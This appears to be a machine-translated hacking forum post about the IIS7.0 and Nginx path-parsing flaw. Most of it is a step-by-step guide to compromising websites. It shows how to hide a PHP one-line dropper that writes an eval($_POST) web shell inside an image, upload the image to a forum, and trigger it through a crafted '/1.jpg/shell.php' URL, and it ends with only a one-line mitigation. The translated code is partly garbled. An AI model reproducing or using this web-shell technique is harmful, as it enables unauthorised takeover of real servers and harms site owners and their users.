IIS7.0 malformed Parsing Vulnerability kills 0 days and fixes

IIS7.0 malformed parsing 0-Day Killer vulnerability, the same as Nginx's last 0-day vulnerability. Note that iis7.0 is used. Temporary solution: Disable cgi. fix_pathinfo to 0.
Nginx seems to have crashed on another 0day. In windows, you can view and download the script file Wang Meng IIS7.0 malformed parsing 0-day to kill the vulnerability, just like Nginx's last 0day. Note that iis7.0 is used.
__________________________________

Let's talk about the 0day of Nginx (It has been several days since we introduced a lot of websites, so we didn't reprint it at the time)
Merge a PHP sentence image horse first. The merge method is as follows:
① DOS merge: copy 1.gif/B + 1.txt/ a asp.gif
② Use edjpgcom to merge images and one-sentence Trojans. The code in one sentence is "<? Fputs (fopen ("shell. PHP", "w"), "<? Eval ($ _ POST [ach]);?> ")?> "
Find any image.
One sentence: <? Php fputs (fopen (shell. php, w), <? Php eval ($ _ POST [ach])?>) ;?>
Find an nginx site, register a user, and then upload a merged image in the Forum.
Find the image address, add shell. php to the address, and run it in the browser.
For example, assume that the image address is www.xxx.com/tupian/1.jpg.
The execution address is www.xxx.com/tupian/1.jpg/shell.php.
Then, shell. php is generated in the directory. For example: www.xxx.com/tupian/shell.php
Shell. php is our one-sentence address. Connect the client with this one-sentence address.
The above is the whole process of Nginx taking the site, and IIS7.0's malformed Parsing is similar to this.
Upload to get the image address.
Add xx. php xx to the image format. Just suffix. php.
You can do whatever you need.
 

Temporary solution: Disable cgi. fix_pathinfo to 0.